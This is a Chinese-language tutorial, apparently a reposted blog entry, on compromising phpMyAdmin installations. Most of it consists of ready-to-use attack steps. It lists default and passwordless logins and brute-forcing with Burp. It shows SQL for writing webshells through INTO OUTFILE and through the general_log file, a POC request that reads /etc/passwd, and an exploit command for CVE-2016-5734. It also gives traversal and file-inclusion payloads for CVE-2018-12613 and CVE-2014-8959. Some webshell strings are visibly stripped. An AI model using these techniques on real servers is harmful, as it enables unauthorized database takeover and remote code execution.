PhpMyAdmin漏洞介绍

phpmyadmin

介绍

phpMyAdmin是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。

PhpMyAdmin漏洞介绍_第1张图片

获取信息

在根路径下加以下目录,尝试信息泄露漏洞存在与否。

readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html

出来了
PhpMyAdmin漏洞介绍_第2张图片

phpmyadmin后台的爆破

当我们发现后台时,我们可以试着使用暴力破解进入后台,进而掌握整个数据库。
有专门的爆破工具。这里我们使用burp试试。
PhpMyAdmin漏洞介绍_第3张图片
选择集成炸弹
PhpMyAdmin漏洞介绍_第4张图片
破解未完

默认 phpMyAdmin:用户名 root、密码 root 或空登陆。
版本 2.11.3~2.11.4:用户名 ‘localhost’@’@" 登陆,无需密码。
版本 2.11.9.2:用户名 root 登陆,无需密码。

getshell尝试

得到账号密码之后,只要满足漏洞条件,我们就可以getshell了

获取网站绝对路径
知道绝对路径之后,我们才能把文件写到指定位置。获取绝对路径的方法有:
1、phpinfo()
2、出错页面
3、load_file读取网站配置文件 如index.php /etc/passwd
4、查看数据库表内容获取 有一些cms会保存网站配置文件 或者路径
5、进入后台
6、百度出错信息 zoomeye shadon 搜索error warning
7、@@datadir参数看mysql路径 反猜绝对路径
PhpMyAdmin漏洞介绍_第5张图片
写入shell

(1)利用mysql的写文件功能,需要条件如下:
数据库root,
知道网站的物理路径,
数据库有写权限。
(phpmyadmin检验:执行sql语句 SHOW VARIABLES LIKE ‘secure_file_priv’)
PhpMyAdmin漏洞介绍_第6张图片

secure-file-priv特性 :
secure-file-priv参数是用来限制LOAD DATA, SELECT …OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysql不允许导入|导出 。
当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下。
当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制 。
可以在mysql-ini文件中设置其属性。

我们写入一句话phpinfo文件()

select "" INTO OUTFILE  "c:\\phpstudy\\www\\rexu.php"

PhpMyAdmin漏洞介绍_第7张图片
(2)利用日志getshell

当into outfile被禁用的话 可以利用日志getshell。
原理,phpmyadmin有一个记录日志的文件,但是一般情况下会关闭,开启日志记录,然后设置日志记录名称为.php,随便执行sql语句,只要包括一句话木马就会被写入到日志中去,然后就可以连接getshell。
但是默认情况下是关闭的。
show variables
PhpMyAdmin漏洞介绍_第8张图片
第一步手动开启日志。

set global  general_log='on'   //首先设置为on

PhpMyAdmin漏洞介绍_第9张图片
第二步 修改日志路径

set global  general_log_file ="C:\phpStudy\PHPTutorial\WWW\a.php"

查看是否开启成功:

show variables like "general_log%"

PhpMyAdmin漏洞介绍_第10张图片
要执行的语句都会写入到日志文件中,所以我们查询语句

select 'key']);?>'

虽然报错但已经写进去了。
PhpMyAdmin漏洞介绍_第11张图片
(3)phpMyAdmin漏洞利用
phpmyadmin反序列化漏洞任意文件读取(WooYun-2016-199433)影响phpMyAdmin 2.x版本,poc如下:

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

相关文章
由于我的版本较高,所以未复现。
在这里插入图片描述

(4)CVE-2016-5734 RCE

漏洞说明

1、授权用户;
2、phpmyadmin4.3.0-4.6.23、PHP 4.3.0-5.4.6

主要原因由于将用户输入的信息拼接进preg_replace函数第一个参数中,而在PHP5.4.7以前,preg_replace存在漏洞,可以0进行截断,并将正则模式修改为e,进而执行命令。
在Kali中有自带的EXP

searchsploit phpmyadmin
python3 40185.py   -u root - root -d test -c "system(whoami)" http://192.168.41.129/

PhpMyAdmin漏洞介绍_第12张图片

(5)CVE-2018-12613文件包含
漏洞版本:phpMyAdmin 4.8.0和4.8.1
主要原因在index.php中存在一处文件包含逻辑
PhpMyAdmin漏洞介绍_第13张图片
满足以下5个条件

1、不为空  
2、字符串  
3、不以index开头  
4、不在$target_blacklist这个黑名单中  
5、Core::checkPageValidity()函数为TRUE
进而通过二次编码即可绕过检查,造成远程文件包含漏洞。

判断是否存在漏洞经过二次编码绕过
/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/etc/passwd
PhpMyAdmin漏洞介绍_第14张图片

然后在sql语句中执行一些语句记录到日志,然后在包含即可
SELECT '';
查询phpmyadmin cookie值(开发者工具查看)
http://192.168.75.130:8080/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ff16b4962b5343089c8fcd4c58df53ba

PhpMyAdmin漏洞介绍_第15张图片

(6)CVE-2014 -8959:本地文件包含
影响范围:phpMyAdmin 4 .0.1–4 .2.12,需要PHP version < 5.3.4 ,Poc如下:

/gis_data_editor.php?token=你的token值&gis_data[gis_type]=
/../../../../phpinfo.txt%00

在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE,php版本可以通过http header、导出表内容到文件的附加内容看到。

参考文章

你可能感兴趣的:(Web漏洞,应用漏洞,phpmyadmin,安全漏洞)